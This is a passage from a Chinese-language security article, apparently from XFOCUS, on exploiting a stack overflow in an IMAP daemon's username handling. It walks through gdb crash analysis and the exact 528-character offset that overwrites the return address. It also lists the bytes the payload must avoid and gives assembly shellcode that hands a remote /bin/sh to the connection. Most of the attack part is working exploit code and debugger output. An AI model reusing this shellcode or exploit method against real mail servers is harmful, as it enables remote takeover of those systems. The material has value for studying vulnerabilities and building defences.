📄 759.html
字号:
Loaded symbols for /lib/libnsl.so.1<br />
Reading symbols from /lib/i686/libc.so.6...done.<br />
Loaded symbols for /lib/i686/libc.so.6<br />
Reading symbols from /lib/libdl.so.2...done.<br />
Loaded symbols for /lib/libdl.so.2<br />
Reading symbols from /lib/ld-linux.so.2...done.<br />
Loaded symbols for /lib/ld-linux.so.2<br />
Reading symbols from /lib/libnss_files.so.2...done.<br />
Loaded symbols for /lib/libnss_files.so.2<br />
0x402ecafe in __select () from /lib/i686/libc.so.6<br />
(gdb) c<br />
Continuing.<br />
<br />
按c继续后,在python的终端执行超长用户名的login操作,这时gdb的终端报出一个段错误:<br />
<br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x0804dc89 in imapd_canon_user (conn=0x41414141, context=0x41414141,<br />
user=0x41414141 <Address 0x41414141 out of bounds>, ulen=1094795585,<br />
flags=1094795585,<br />
user_realm=0x41414141 <Address 0x41414141 out of bounds>,<br />
out=0x41414141 <Address 0x41414141 out of bounds>, out_max=1094795585,<br />
out_ulen=0x41414141) at imapd.c:291<br />
291 userbuf[ulen] = '\0';<br />
(gdb)<br />
<br />
这个imapd进程在imapd_canon_user函数里崩溃了,但是却是在"userbuf[ulen] = '\0';"的时候崩溃了,查看这时系统情况:<br />
<br />
(gdb) x/i $pc<br />
0x804dc89 <imapd_canon_user+81>: movb $0x0,(%eax,%ebx,1)<br />
(gdb) x/5i $pc-8<br />
0x804dc81 <imapd_canon_user+73>: call 0x804be18 <memcpy><br />
0x804dc86 <imapd_canon_user+78>: mov 0x14(%ebp),%eax<br />
0x804dc89 <imapd_canon_user+81>: movb $0x0,(%eax,%ebx,1)<br />
0x804dc8d <imapd_canon_user+85>: pop %edx<br />
0x804dc8e <imapd_canon_user+86>: pop %ecx<br />
(gdb) i reg $ebp $eax $ebx<br />
ebp 0xbfffd0c8 0xbfffd0c8<br />
eax 0x41414141 1094795585<br />
ebx 0xbfffcec0 -1073754432<br />
(gdb) x/20x $ebp<br />
0xbfffd0c8: 0x41414141 0x41414141 0x41414141 0x41414141<br />
0xbfffd0d8: 0x41414141 0x41414141 0x41414141 0x41414141<br />
0xbfffd0e8: 0x41414141 0x41414141 0x41414141 0x41414141<br />
0xbfffd0f8: 0x41414141 0x41414141 0x41414141 0x41414141<br />
0xbfffd108: 0x41414141 0x41414141 0x41414141 0x41414141<br />
<br />
原来ulen是imapd_canon_user函数的压栈参数,由于溢出的数据覆盖它在堆栈中保存的位置,所以取出的ulen是0x41414141。用它来查找userbuf的最后一个字符就导致内存访问越界了,所以user变量不能太大,最好正好覆盖函数返回地址。经过测试,用户名字串长度是528个字符的时候正好覆盖函数返回地址。用上面同样的方法执行login操作,这时gdb得到的信息如下:<br />
<br />
(gdb) c<br />
Continuing.<br />
<br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x41414141 in ?? ()<br />
(gdb) i reg<br />
eax 0xfffffffd -3<br />
ecx 0x0 0<br />
edx 0x4033a2a0 1077125792<br />
ebx 0x41414141 1094795585<br />
esp 0xbfffd0d0 0xbfffd0d0<br />
ebp 0x41414141 0x41414141<br />
esi 0x41414141 1094795585<br />
edi 0x41414141 1094795585<br />
eip 0x41414141 0x41414141<br />
...<br />
<br />
现在eip变成可控的地址,接下来就可以写利用程序了。<br />
<br />
3 利用程序的实现<br />
<br />
把python那三行代码执行的过程用tcpdump抓包进行分析,发现imap的登陆会发两个包。首先会发一个CAPABILITY的包,然后发送LOGIN数据包,根据这些信息很容易就能写出利用程序。可是在实际尝试过程中就可以发现,发送完异常LOGIN数据包后,imap会返回类似如下的信息:<br />
<br />
ABCF1 BAD Missing required argument to Login<br />
<br />
这是由于作为用户名的shellcode和返回地址包含了imap的特殊字符,发送到服务器以后被转义了,所以不能成功。经过测试,发现如下的字符不能出现在shellcode和返回地址里:<br />
<br />
0x22<br />
0x0C<br />
0x0B<br />
0x00<br />
0x09<br />
0x0D<br />
0x0A<br />
0x20<br />
<br />
过滤了shellcode里的这些字符果然能够顺利执行到shellcode,但是测试了那些搜索套接字的shellcode都不能成功。无意中发现这个imap服务会把特别大的数当作当前连接的套接字,也就是下面的代码相当于搜索套接字shellcode的功能:<br />
<br />
jmp locate_addr<br />
find_s:<br />
pop %edi /* The address of sting /bin/sh */<br />
<br />
xorl %ebx, %ebx<br />
decl %ebx /* Amazing socket ;) */<br />
<br />
pushl $0x2<br />
popl %ecx<br />
dup2s:<br />
movb $0x3f,%al /* sys_dup */<br />
int $0x80<br />
<br />
decl %ecx<br />
jns dup2s<br />
<br />
xorl %eax, %eax<br />
movl %edi, %ebx /* /bin/sh */<br />
leal 0x8(%edi), %edx /* -isp */<br />
pushl %eax<br />
pushl %edx<br />
pushl %ebx<br />
movl %esp, %ecx /* argv */<br />
xorl %edx, %edx /* envp=NULL */<br />
movb $0x0b,%al /* sys_execve */<br />
int $0x80<br />
<br />
xor %ebx,%ebx<br />
mov %ebx,%eax<br />
inc %eax<br />
int $0x80 /* sys_exit */<br />
<br />
locate_addr:<br />
call find_s<br />
.byte '/', 'b', 'i', 'n', '/', 's', 'h', 0x0, '-', 'i', 's', 'p', 0x0<br />
<br />
为什么这样笔者也不是很清楚,笔者测试的环境是RedHat 7.2,如果有读者知道原因还希望不吝赐教。
</td>
</tr>
</table>
<div class="footer">
Copyright © 1998-2003 XFOCUS Team. All Rights Reserved
</div>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -